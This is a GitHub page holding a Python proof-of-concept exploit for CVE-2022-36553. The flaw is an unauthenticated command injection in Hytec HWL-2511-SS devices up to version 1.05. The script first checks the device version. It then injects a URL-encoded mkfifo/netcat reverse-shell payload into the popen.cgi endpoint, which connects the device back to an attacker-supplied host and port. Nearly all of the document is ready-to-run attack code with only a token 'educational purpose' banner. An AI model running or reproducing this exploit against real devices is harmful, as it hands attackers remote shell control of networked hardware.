-
Notifications
You must be signed in to change notification settings - Fork 0
/
HWL-2511-SS.py
92 lines (81 loc) · 5.89 KB
/
HWL-2511-SS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
# Exploit Title: PoPwned command Injection
# Date: 7/26/2022
# Exploit Author: Samy Younsi (https://samy.link)
# Vendor Homepage: https://hytec.co.jp
# Software Link: https://hytec.co.jp/eng/products/our-brand/hwl-2511-ss.html
# Version: 1.05 and under.
# Tested on: HWL-2511-SS version 1.05 (Ubuntu)
# CVE : CVE-2022-36553
from __future__ import print_function, unicode_literals
import argparse
import requests
import json
import urllib3
urllib3.disable_warnings()
def banner():
hytecLogo = """
▓▓ ▓▓▓▓▓▓▓▓ ▓▓
▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓
▒▒ ▒▒▓▓ ▓▓▒▒ ▓▓
▓▓ ▒▒ ▒▒▓▓░░░░ ▓▓
▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓
▓▓ ░░ ▓▓ ▓▓
▓▓ ▓▓▓▓▓▓▓▓ ▓▓
▓▓ ▒▒▓▓ ▓▓▓▓ ▓▓
▓▓ ░░░░ ░░░░ ▓▓
▓▓ ▓▓
▓▓ ▓▓░░░░▓▓ ▓▓
▓▓ ▒▒▓▓ ▓▓
▓▓ ▓▓
▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓
▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
▓▓░░░░░░░░░░░░▓▓░░░░░░░░▒▒░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░▓▓
▓▓░░░░░░░░░░▓▓░░▓▓░░░░▓▓░░▓▓░░░░▓▓░░▓▓░░░░░░░░░░░░░░░░░░▓▓
▓▓░░░░░░░░░░░░▒▒░░░░░░░░▒▒░░░░░░░░▓▓░░░░░░░░░░░░░░░░░░░░▓▓
▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░HWL-2511-SS░░░░▓▓
▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mHWL-2511-SS PING PONG\033[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(hytecLogo))
def pingWebInterface(RHOST, RPORT):
url = 'https://{}:{}/cgi-bin/status.cgi?act=status'.format(RHOST, RPORT)
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
if response.status_code != 200:
print('[!] \033[1;91mError: HWL-2511-SS device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
deviceInfo = json.loads(response.content)
try:
if deviceInfo['status']['system']['szSwMobileRouterVersion']:
version = deviceInfo['status']['system']['szSwMobileRouterVersion']
if float(version) > 1.05:
print('[INFO] HWL-2511-SS version {} detected, this device has been patched.'.format(deviceInfo['status']['system']['szSwMobileRouterVersion']))
exit()
print('[INFO] HWL-2511-SS version: {}'.format(deviceInfo['status']['system']['szSwMobileRouterVersion']))
except:
print('[ERROR] Can\'t grab the device version...')
def execReverseShell(RHOST, RPORT, LHOST, LPORT):
payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)
url = 'https://{}:{}/cgi-bin/popen.cgi?command={}'.format(RHOST, RPORT, payload)
try:
print('[INFO] Executing reverse shell...')
response = requests.get(url, allow_redirects=False, verify=False)
print("Reverse shell successfully executed. {}:{}".format(LHOST, LPORT))
return
except Exception as e:
print("Reverse shell failed. Make sure the HWL-2511-SS device can reach the host {}:{}").format(LHOST, LPORT)
return False
def main():
banner()
args = parser.parse_args()
pingWebInterface(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Hytec Inter HWL-2511-SS devices.', add_help=False)
parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (HWL-2511-SS device)", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine. (443 by default)", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()